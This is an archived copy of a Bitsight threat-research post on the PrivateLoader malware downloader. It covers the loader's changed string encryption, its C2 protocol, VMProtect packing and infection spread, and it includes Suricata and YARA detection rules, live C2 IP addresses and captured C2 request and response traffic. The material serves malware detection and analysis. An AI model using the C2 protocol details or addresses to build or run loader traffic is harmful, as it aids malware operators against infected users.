{
	"id": "e41dffbf-ea83-4d75-bb16-d7fcfb618f2a",
	"created_at": "2026-04-06T00:21:14.73087Z",
	"updated_at": "2026-04-10T03:21:55.842332Z",
	"deleted_at": null,
	"sha1_hash": "fb61614874f020cd021d788be2a276bc075a089a",
	"title": "Hunting PrivateLoader: The malware behind InstallsKey PPI service | Bitsight",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 651264,
	"plain_text": "Hunting PrivateLoader: The malware behind InstallsKey PPI service |\r\nBitsight\r\nBy Written by André Tavares Sr. Threat Researcher\r\nArchived: 2026-04-05 14:27:46 UTC\r\nPrivateLoader, a widespread malware downloader, had some important updates recently, including a new string\r\nencryption algorithm, a new alternative communication protocol and it’s now downloading a copy of itself along with\r\nits many payloads;\r\n \r\nRecent samples are packed using commercial packer VMProtect, making it harder to analyze and reverse-engineer;\r\n \r\nBitsight’s available infection telemetry suggests that infected systems are spreaded worldwide as expected, with more\r\nincidence in continents with emerging economies such as Africa, Asia and South America.\r\nSince July 2022, Bitsight has been tracking PrivateLoader, the widespread malware downloader behind the Russian Pay-Per-Install (PPI) service called InstallsKey. At the time, this malware was powering the now decommissioned ruzki PPI service.\r\nFigure 1 presents a brief description of the service, which was found in their sales telegram channel.\r\nFig. 1 - Service description on telegram channel profile (Russian and English).\r\nIt’s still being distributed mainly through SEO-optimized websites that claim to provide cracked software, although the\r\nthreat actor behind it (presumably “doZKey”) has also been using other malware downloaders, such as SmokeLoader, to\r\nincrease its botnet size.\r\nPrivateLoader downloads and executes a wide range of malware families, but mostly stealers and other loaders. In the past\r\nyear, it dropped more than 2300 payloads onto the infected machines, mainly downloaded from VK.com (VKontakte,\r\nRussian social media).\r\nRecently, PrivateLoader was observed downloading RisePro infostealer from VKontakte. At least that was the initial\r\nassessment based on classifications from multiple sources. The executable has a compilation date of 2023-12-20. Taking a\r\ncloser look at the sample, specifically at the network traffic from a sandbox run, the first requests are actually from\r\nPrivateLoader malware (figure 2). Recent research on PrivateLoader shows that the Host IP 77.105.147[.]130 is in fact a\r\nPrivateLoader command-and-control (C2) server. After analyzing the packet capture from that sandbox run and decrypting\r\nthe content of the POST(ed) data, it becomes clear that this is indeed PrivateLoader network traffic.\r\nhttps://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service\r\nPage 1 of 8\n\nFig. 2 - Initial HTTP requests of PrivateLoader malware.\r\nFig. 3 - Open directory on a PrivateLoader C2 server\r\n(source).\r\nAnother of their C2 servers, 195.20.16[.]46, had recently an open directory with the same PHP files referred to in those\r\nrequests, with last modified date of 2023-12-20, as Figure 3 shows. Given the match between the compilation date of the\r\nsample and the last modified date of the PHP files, it stands to reason that this sample is an updated version of\r\nPrivateLoader, with new HTTP paths to be contacted, and possibly more updates.\r\nWhile pivoting on the initial C2 server, a sample using yet another path, firepro.php was found, with compilation date of\r\n2023-12-12. Looking at the network traffic, trying to decrypt the POST(ed) data using the known method (PBKDF2 + AES),\r\nit returns high entropy data, which means that something has changed. Going one step back, the base64-decoded ciphertext\r\nhas significantly lower entropy then similar responses encrypted with AES, which is a good indicator that the new\r\nencryption method is weaker. Figure 4 shows the comparison in entropy between two similar responses from the C2 server,\r\nrelated to the two mentioned samples.\r\nFig. 4 - Shannon entropy of similar responses from C2 server, encrypted through different methods.\r\nAfter trying a simple test of XOR brute forcing each byte with a single fixed byte (0x0-0xff), known plaintext was revealed\r\nusing byte 0x33. Here’s an example taken from the packet capture of that sandbox run:\r\nPOST /api/firepro.php HTTP/1.1\r\nHost: 77.105.147[.]130\r\nUser-Agent: python-requests/2.28.2\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: 35\r\nContent-Type: application/x-www-form-urlencoded\r\ndata=dFZHf1pdWEBPZGRsAgBPdHFPAgU%3D\r\nWhich decrypts to:\r\nGetLinks|WW_13|GB|16\r\nIt appears to be more of a downgrade than an upgrade on the communication encryption. Nonetheless, current C2 servers are\r\nresponding to both protocols. With this knowledge about the communication pattern of PrivateLoader, we share a network\r\nhttps://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service\r\nPage 2 of 8\n\nrule, in Suricata format, to detect the two protocols:\r\nalert http $HOME_NET any -\u003e $EXTERNAL_NET 80 (msg:\"BST MALWARE PrivateLoader First Request\";\r\nflow:established,to_server; content:\"GET\"; http_method; pcre:\"/^\\/api\\/[a-z0-9]+\\.php$/U\"; content:\"Mozilla/5.0\r\n(Windows NT 10.0|3b| Win64|3b| x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/\"; http_user_agent;\r\nflowbits:set,PRIVATELOADER_FIRST_REQUEST; flowbits:noalert;\r\nreference:url,https://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service;\r\nsid:2008027; rev:1;)\r\nalert http $HOME_NET any -\u003e $EXTERNAL_NET 80 (msg:\"BST MALWARE PrivateLoader Second Request\";\r\nflow:established,to_server; flowbits:isset,PRIVATELOADER_FIRST_REQUEST; content:\"POST\"; http_method;\r\npcre:\"/^\\/api\\/[a-z0-9]+\\.php$/U\"; pcre:\"/data=[A-Za-z0-9%_-]+={0,2}/\"; content:\"application/x-www-form-urlencoded\"; http_header; content:\"Mozilla/5.0 (Windows NT 10.0|3b| Win64|3b| x64) AppleWebKit/537.36\r\n(KHTML, like Gecko) Chrome/\"; http_user_agent; reference:url,https://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service; sid:2008028; rev:1;)\r\nNow, both Triage sandbox and also our YARA rule are not matching the file being dropped by PrivateLoader as itself,\r\nneither is it detecting its memory dump. This prompted us to look deeper into the sample, aiming to write a new detection\r\nrule.\r\nExamining the sample details on VirusTotal, it's evident that the .text section, where code usually resides, is empty. In\r\ncontrast, the .vmp section contains the majority of the data, totaling 5.6 megabytes. The entropy score of 8, the highest\r\npossible, coupled with the detection signature from DetectItEasy identifying \"Protector: VMProtect (new 18 jmp 11) [DS]\",\r\nstrongly suggests that this sample has been packed using VMProtect, a commercially available packer.\r\nBinaries packed with VMProtect are hard to unpack for several reasons. Firstly, VMProtect utilizes a virtual machine (VM)\r\nto execute code, making it difficult for traditional unpacking methods to decipher the original instructions. Additionally,\r\nVMProtect employs various obfuscation techniques, such as instruction reordering and encryption, to further obscure the\r\ncode's functionality. Furthermore, VMProtect employs anti-debugging and anti-reverse engineering mechanisms, which\r\nactively detect and thwart attempts to analyze or manipulate the packed binary during runtime. These combined features\r\nmake unpacking binaries packed with VMProtect a challenging task, requiring advanced techniques and significant effort to\r\nbypass its defenses and recover the original code.\r\nFortunately, it’s possible to unpack it using unpac.me public service, although a memory dump from a sandbox run might\r\nhave also worked for our purposes. Looking at the unpacked sample, the .text section now has 6.6 of entropy, which may\r\nsuggest some level of encryption, but not necessarily an indication that the file is still packed. Furthermore, looking at the\r\nprogram strings, there are very few, which may indicate that they are encrypted (as expected). There are however some\r\nknown wide strings used by PrivateLoader (fig. 5), some of them actually present in our old YARA rule which detects older\r\nversions of PrivateLoader. This is evidence enough to conclude that PrivateLoader was successfully unpacked. However,\r\none usually important component is absent from the unpacked sample: the import address table, which wasn't reconstructed.\r\nNonetheless, as will be demonstrated shortly, the program's strings contain the majority of the Windows API functions\r\nutilized.\r\nFig. 5 - Known PrivateLoader wide strings from unpacked sample.\r\nOpening the unpacked sample on Ghidra, going up in the function call tree from any known wide string (fig. 5), eventually\r\nthe main function is reached, which takes a minute to decompile since it’s a huge function (as seen in past versions).\r\nScrolling through the code, looking for the known PXOR pattern for string decryption, there’s no sight of it. There’s instead\r\na different pattern: again, stack variables being built at runtime (fig. 6), but this time the key for the XOR encryption is\r\ndifferent (fig. 7), yet still straightforward to understand.\r\nhttps://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service\r\nPage 3 of 8\n\nFig. 6 Stack variable built at runtime (disassembled). Fig. 7 - String decryption function (decompiled).\r\nThe algorithm basically translates to:\r\nFor each character in string:\r\n    character = character XOR (character position + key)\r\nThis algorithm is spread throughout the code, either as inline code or in a function, of which there are many. Now, about the\r\nloop part, most disassembled basic blocks look like figures 8 and 9.\r\nFig. 8 - String decryption loop (Example 1). Fig. 9 - String decryption loop (Example 2).\r\nLeveraging all known and specific PrivateLoader wide strings (network related) and this constant pattern of string\r\ndecryption instructions, we share a YARA rule to detect and hunt the new versions of this family. We’ve also combined this\r\nrule with our old rule to have one rule to catch most PrivateLoader versions. Here’s the rule:\r\nrule win_privateloader\r\n{\r\nmeta:\r\nauthor = \"andretavare5\"\r\ndescription = \"Detects PrivateLoader malware.\"\r\norg = \"Bitsight\"\r\ndate = \"2024-01-29\"\r\nsample1_md5 = \"8f70a0f45532261cb4df2800b141551d\" // loader module Jan 2022\r\nsample2_md5 = \"dbf48bf522a272297266c35b965c6054\" // service module Nov 2023\r\nsample3_md5 = \"51bb70b9a31d07c7d57da0c5b26545d4\" // core module Dez 2023\r\nreference = \"https://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service\"\r\nlicense = \"CC BY-NC-SA 4.0\"\r\nhttps://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service\r\nPage 4 of 8\n\nstrings:\r\n$hdr = \"Content-Type: application/x-www-form-urlencoded\" wide ascii\r\n$dom1 = \"ipinfo.io\" wide ascii\r\n$dom2 = \"db-ip.com\" wide ascii\r\n$dom3 = \"maxmind.com\" wide ascii\r\n$dom4 = \"ipgeolocation.io\" wide ascii\r\n$ua1 = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\r\nChrome/74.0.3729.169 Safari/537.36\" wide ascii\r\n$ua2 = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\r\nChrome/93.0.4577.63 Safari/537.36\" wide ascii\r\n$ua3 = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\r\nChrome/120.0.0.0 Safari/537.36\" wide ascii\r\n// str decrypt\r\n// PXOR XMM(1/0)\r\n$asm1 = {66 0F EF (4?|8?)}\r\n// str decrypt\r\n// LEA ??\r\n// XOR ??\r\n// INC ??\r\n// CMP ??\r\n// JC ??\r\n$asm2 = {8D ?? ?? 30 ?? ?? ?? 4? FF C? 4? 83 F? ?? 72 ??}\r\n// str decrypt\r\n// LEA ??\r\n// INC ??\r\n// XOR ??\r\n// CMP ??\r\n// JC ??\r\n$asm3 = {8D ?? ?? 4? 30 ?? 83 F? ?? 72 ??}\r\ncondition:\r\nuint16(0) == 0x5A4D and // MZ header\r\nfilesize \u003e 100KB and filesize \u003c 10MB and\r\n$hdr and\r\nany of ($dom*) and\r\nany of ($ua*) and\r\nany of ($asm*)\r\n}\r\nRunning a VirusTotal retrohunt query with this rule returns more than 370 matches in the past year, with no false positives as\r\nfar as we could manually tell, which is a satisfactory result. Some samples are not being detected because they are packed\r\nand this rule will only work on unpacked samples or in memory dumps, for the more recent versions.\r\nhttps://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service\r\nPage 5 of 8\n\nWe are also sharing a static config extractor using Ghidra scripting. To be able to run it, Ghidrathon extension must be\r\ninstalled on Ghidra to enable Python 3. Additionally, the script can be run on headless mode in the following manner:\r\n$~/ghidra_10.4_PUBLIC/support \u003e analyzeHeadless . project_name -import 51bb70b9a31d07c7d57da0c5b26545d4.bin -\r\npostScript decrypt_strings.py -deleteProject\r\nIt takes a couple of minutes, but it will output most of the encrypted strings, more than 1500, including the current\r\nPrivateLoader C2 IP addresses at the time of writing of this blog post (see IoCs section). The script basically searches for\r\nthose string decryption instruction sequences and then goes back in the code to find the XOR key on the LEA instruction,\r\nthe size of the string on the CMP instruction and the actual encrypted string on the MOV* instructions (figures 8 and 9).\r\nThis will work not only as a config extractor but will also comment on the disassembled code, greatly improving the speed\r\nof reversing, especially when one is focused on a specific part of the malware, for example, the communication protocol.\r\nThe config extractor could have also been done using Capstone disassembler, as it has been done in the past, for the older\r\nstring encryption algorithm. Also, It’s possible to extract some encrypted stack strings using FLOSS, but usually not most.\r\nFor the campaign ID (or logical botnet ID), also known as region code, It’s not a string but rather an integer that is later\r\nmapped to a string. Figure 10 shows the region ID being set to 15, which corresponds to region code WW_11. This\r\nconfiguration value is harder to programmatically extract since one has to find the global variable being set before the first\r\nregion code string on the main function and then find the integer value to which it is being set to. There are currently 34\r\nregion codes, which can be found on the malware strings.\r\nFig. 10 - Region variable being set to 15 (region code WW_11)\r\nBotnet size and geo distribution\r\nRecent research provides evidence that PrivateLoader infected more than 1 million computers in 2023, with an average\r\nof almost 3300 infections a day. This year, a recent post on X by the same author and also an advertisement from the service\r\nitself, both suggest that the number of infections has increased considerably, with a current rate of about 5000 infections per\r\nday, which can eventually represent close to 2 million infections in 2024 if the service continues to operate at this pace.\r\nBitsight’s available infection telemetry of Privateloader in the past 3 months (fig. 11) suggests that infected systems are\r\nspread worldwide as seen in the past, with more incidence in continents with emerging economies such as Africa (Ghana,\r\nSouth Africa, Kenya), Asia (India and neighbors) and South America (Brazil, Argentina, Venezuela, Ecuador). This\r\ngeographical distribution might be related to the most common distributed method, which is focused on unlicensed software,\r\na form of software piracy, which is more prevalent in emerging markets.\r\nFig. 11 - Approximation of PrivateLoader botnet geo distribution from December 2023 to February 2024.\r\nThe data used to populate this map is a small subset of PrivateLoader infections, which means that the actual geo\r\ndistribution of the PrivateLoader botnet may be closer to this one but not exactly what this map suggests.\r\nhttps://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service\r\nPage 6 of 8\n\nWe are currently still (since 2022) uploading live PrivateLoader IoCs and dropped malware to abuse.ch:\r\nPrivateLoader samples by YARA hunting: https://yaraify.abuse.ch/yarahub/rule/privateloader/\r\nPrivateLoader C2 servers: https://threatfox.abuse.ch/browse/malware/win.privateloader/\r\nDrop URLs obtained from the C2 server: https://urlhaus.abuse.ch/browse/tag/dropped-by-PrivateLoader/\r\nMalware samples from drop URLs: https://bazaar.abuse.ch/user/12060/ \r\nPrivateLoader sample analysed: 42c24e5ea82db961c718b4ec041202f85de3cdf6d35dd99d83a753f9a175945d\r\nCurrent C2 IP addresses:\r\nIP Port Country\r\n195.20.16[.]45 80 RU\r\n77.105.147[.]130 80 DE\r\n45.15.156[.]229 80 NL\r\nInitial HTTP requests of PrivateLoader malware from the sandbox run:\r\nGET /api/bing_release.php HTTP/1.1\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\r\nHost: 77.105.147[.]130\r\nHTTP/1.1 200 OK\r\nDate: Mon, 05 Feb 2024 10:15:18 GMT\r\nServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12\r\nX-Powered-By: PHP/8.2.12\r\nContent-Length: 8\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html; charset=UTF-8\r\nharry313\r\nPOST /api/flash.php HTTP/1.1\r\nConnection: Keep-Alive\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\r\nContent-Length: 133\r\nHost: 77.105.147[.]130\r\ndata=Ib-pgsxjMExnoehYzixJ0hM19k3XWN0YbNObLOO83sVkI3o8SOEAS6y1Wkkt3h3VBEljbvksKYgJ4ORKgvml93p3r070FSf2ClWMMGbZ\r\nHTTP/1.1 200 OK\r\nDate: Mon, 05 Feb 2024 10:15:19 GMT\r\nServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12\r\nX-Powered-By: PHP/8.2.12\r\nContent-Length: 748\r\nKeep-Alive: timeout=5, max=99\r\nConnection: Keep-Alive\r\nhttps://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service\r\nPage 7 of 8\n\nContent-Type: text/html; charset=UTF-8\r\n/Xu6zss+s4C7IVA1ogE/qrOdUBxwPzOSRHSBpi/ds8kX6w9nANYRsbzKylgaKnB7+W2IzgoJBuoe08bg2pmk+sj2338erBRkLIAPqs4V7f4A8UDl\r\nSource: https://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service\r\nhttps://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.bitsight.com/blog/hunting-privateloader-malware-behind-installskey-ppi-service"
	],
	"report_names": [
		"hunting-privateloader-malware-behind-installskey-ppi-service"
	],
	"threat_actors": [],
	"ts_created_at": 1775434874,
	"ts_updated_at": 1775791315,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/fb61614874f020cd021d788be2a276bc075a089a.pdf",
		"text": "https://archive.orkl.eu/fb61614874f020cd021d788be2a276bc075a089a.txt",
		"img": "https://archive.orkl.eu/fb61614874f020cd021d788be2a276bc075a089a.jpg"
	}
}